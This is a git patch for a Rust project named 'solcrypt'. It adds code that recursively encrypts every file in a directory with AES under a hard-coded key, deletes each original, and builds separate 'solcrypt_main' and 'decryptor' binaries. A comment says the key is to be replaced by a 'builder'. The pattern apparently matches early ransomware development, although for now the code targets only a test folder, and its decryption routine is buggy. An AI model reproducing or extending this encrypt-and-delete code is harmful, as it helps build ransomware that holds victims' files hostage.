From f192d2c2399c11677b0ef896063e76f037a2854a Mon Sep 17 00:00:00 2001
From: Xory <xorycode@shuriken.pm>
Date: Mon, 10 Jun 2024 11:43:46 +0300
Subject: [PATCH] feat: enc/dec directories instead of files

---
 Cargo.toml             |  9 ++++++++
 src/crypto.rs          | 47 ++++++++++++++++++++++++++++++++++++++++--
 src/decrypt.rs         |  9 ++++++++
 src/encrypt.rs         |  9 ++++++++
 src/main.rs            |  8 -------
 testdir/dir2/meow1.txt |  1 +
 testdir/dir2/meow2.txt |  1 +
 testdir/meow.txt       |  1 +
 8 files changed, 75 insertions(+), 10 deletions(-)
 create mode 100644 src/decrypt.rs
 create mode 100644 src/encrypt.rs
 delete mode 100644 src/main.rs
 create mode 100644 testdir/dir2/meow1.txt
 create mode 100644 testdir/dir2/meow2.txt
 create mode 100644 testdir/meow.txt

diff --git a/Cargo.toml b/Cargo.toml
index 7b305e2..8972a3c 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -3,6 +3,15 @@ name = "solcrypt"
 version = "0.1.0"
 edition = "2021"
 
+[[bin]]
+name = "solcrypt_main"
+path = "src/encrypt.rs"
+
+[[bin]]
+name = "decryptor"
+path = "src/decrypt.rs"
+
+
 [dependencies]
 aes = "0.7.5"
 block-modes = "0.8.1"
diff --git a/src/crypto.rs b/src/crypto.rs
index 0f2efc6..d9aa205 100644
--- a/src/crypto.rs
+++ b/src/crypto.rs
@@ -7,6 +7,8 @@ use aes::Aes256;
 use block_modes::{BlockMode, Cbc};
 use block_modes::block_padding::Pkcs7;
 use std::fs::File;
+use std::path::{Path, PathBuf};
+use std::fs;
 use std::io::{Read, Write};
 use std::error::Error;
 use std::str;
@@ -18,7 +20,7 @@ const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
 const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
                                 
 
-pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
+fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
     // Read the input file
     let mut input_file = File::open(input_path)?;
     let mut buffer = Vec::new();
@@ -35,7 +37,7 @@ pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
     Ok(())
 }
 
-pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
+fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
     // Read the encrypted file
     let mut input_file = File::open(input_path)?;
     let mut buffer = Vec::new();
@@ -51,3 +53,44 @@ pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
 
     Ok(())
 }
+
+fn get_files(directory_path: &str) -> Vec<String> {
+    let directory_path = Path::new(directory_path);
+    let entries = fs::read_dir(directory_path).expect("Failed to read directory");
+
+    let mut file_list = Vec::new();
+
+    for entry in entries {
+        let entry = entry.expect("Failed to read entry");
+        let file_path = entry.path();
+        if file_path.is_file() {
+            file_list.push(file_path.to_string_lossy().to_string());
+        } else if file_path.is_dir() {
+            let sub_files = get_files(&file_path.to_string_lossy().to_string());
+            file_list.extend(sub_files);
+        }
+    }
+
+    file_list
+}
+
+pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
+    let directory = get_files(directory_path);
+    for mut file in directory {
+        let encrypted_file_path = file.as_mut().to_owned() + ".enc";
+        encrypt_file(&file, &encrypted_file_path)?;
+        fs::remove_file(file).unwrap();
+    }
+    Ok(())
+}
+
+pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
+    let directory = get_files(directory_path);
+    for mut file in directory {
+        let encrypted_file_path = file.as_mut().to_owned() + ".enc";
+        decrypt_file(&file, &encrypted_file_path)?;
+    }
+    Ok(())
+}
+
+
diff --git a/src/decrypt.rs b/src/decrypt.rs
new file mode 100644
index 0000000..3fc2d5a
--- /dev/null
+++ b/src/decrypt.rs
@@ -0,0 +1,9 @@
+mod crypto;
+use crypto::decrypt_directory;
+
+fn main() {
+    println!("Hello, world!");
+    println!("Encrypting test directory");
+    decrypt_directory("testdir").unwrap();
+    
+}
diff --git a/src/encrypt.rs b/src/encrypt.rs
new file mode 100644
index 0000000..a310e2e
--- /dev/null
+++ b/src/encrypt.rs
@@ -0,0 +1,9 @@
+mod crypto;
+use crypto::encrypt_directory;
+
+fn main() {
+    println!("Hello, world!");
+    println!("Encrypting test directory");
+    encrypt_directory("testdir").unwrap();
+    
+}
diff --git a/src/main.rs b/src/main.rs
deleted file mode 100644
index 763974c..0000000
--- a/src/main.rs
+++ /dev/null
@@ -1,8 +0,0 @@
-mod crypto;
-use crypto::{encrypt_file, decrypt_file};
-
-fn main() {
-    println!("Hello, world!");
-    encrypt_file("testfiles/meow.txt", "testfiles/meow.enc").unwrap();
-    decrypt_file("testfiles/meow.enc", "testfiles/meow.dec.text").unwrap();
-}
diff --git a/testdir/dir2/meow1.txt b/testdir/dir2/meow1.txt
new file mode 100644
index 0000000..375d5c3
--- /dev/null
+++ b/testdir/dir2/meow1.txt
@@ -0,0 +1 @@
+meow
diff --git a/testdir/dir2/meow2.txt b/testdir/dir2/meow2.txt
new file mode 100644
index 0000000..6f6b544
--- /dev/null
+++ b/testdir/dir2/meow2.txt
@@ -0,0 +1 @@
+meow meow
diff --git a/testdir/meow.txt b/testdir/meow.txt
new file mode 100644
index 0000000..8d06e96
--- /dev/null
+++ b/testdir/meow.txt
@@ -0,0 +1 @@
+cats would rule the world better than humans